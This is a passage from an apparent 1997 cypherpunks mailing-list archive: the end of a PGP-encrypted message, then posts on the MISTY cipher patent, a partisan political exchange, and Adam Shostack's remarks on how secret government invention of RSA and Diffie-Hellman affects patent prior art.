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
k/pW4Ht4WjBh26z9exahl3lFiZXQJaoiXCo=
=c2om
-----END PGP MESSAGE-----




From dlv at bwalk.dm.com  Thu Dec 18 05:59:52 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 18 Dec 1997 21:59:52 +0800
Subject: MISTY is patented International Patent
In-Reply-To: <199712180730.CAA30209@users.invweb.net>
Message-ID: 



"William H. Geiger III"  writes:
>
> In <19971218065824.25374.qmail at hotmail.com>, on 12/17/97
>    at 10:58 PM, "Nobuki Nakatuji"  said:
>
>
> >MISTY is patented International Patent PCT/JP96/02154 by MITUBISHI Inc. A
> >license is needed to "make, use or sell".
>
> Who cares?!?

I don't, but chop-chop probably does.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Thu Dec 18 05:59:58 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 18 Dec 1997 21:59:58 +0800
Subject: 
In-Reply-To: <199712180703.CAA29977@users.invweb.net>
Message-ID: <0sqwHe3w165w@bwalk.dm.com>



"William H. Geiger III"  writes:
>
> In , on 12/18/97
>    at 05:36 AM, bureau42 Anonymous Remailer  said:
>
> >When is Klintonkov running again? Why not?! He doesn't pay any attention
> >to the other amendments!
>
> Oh I am sure the rat bastard would like nothing more than to be another
> Franklin "Dictator for Life" Roosevlet. He has already show that he is
> just as much a socialist and has the same disrespect for the Constitution.

Bill, while I intensely dislike FDR's politics, he was nowhere near the kind
of crook and murderer that Slick Willy is.

FDR tried to pack the Supreme Court - this ain't nice, but it's just politics.
What did he do that could compare to peddling plots on the Arlington nat'l
Cematary to political contributors (that later get dig up and reburied :-)
or to Waco?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From adam at homeport.org  Thu Dec 18 06:45:51 1997
From: adam at homeport.org (Adam Shostack)
Date: Thu, 18 Dec 1997 22:45:51 +0800
Subject: UK spooks invent RSA, DH in 1973
In-Reply-To: <34999229.15CD6AB5@certisign.com.br>
Message-ID: <199712181435.JAA13916@homeport.org>




While this does prevent making things up out of whole cloth, it does
not address the possibility that the hash has been broken by the
agency, nor the possibility that documents will be selectively
released by the agency to hurt certain parties.

None of this addresses the real flaw, which is the inability to value
your patent if theres a chance that a party will remove the secrecy in
whihc they invented it, and thus nullify your patent.

The whole prior art argument is that you could reasonably have heard
about this other thing, or that the patent office could have found it,
and thus your patent should not have been granted.

If the patent office had examiners with clearence who checked patents
agianst various government claims and denied the patent on the ground
that there exists prior, classified art, that would be vaugely fine;
it would be a predictable risk as the patent is pending.

Adam


Vicente Silveira wrote:
| Adam Shostack wrote:
| > Jim Burnes wrote:
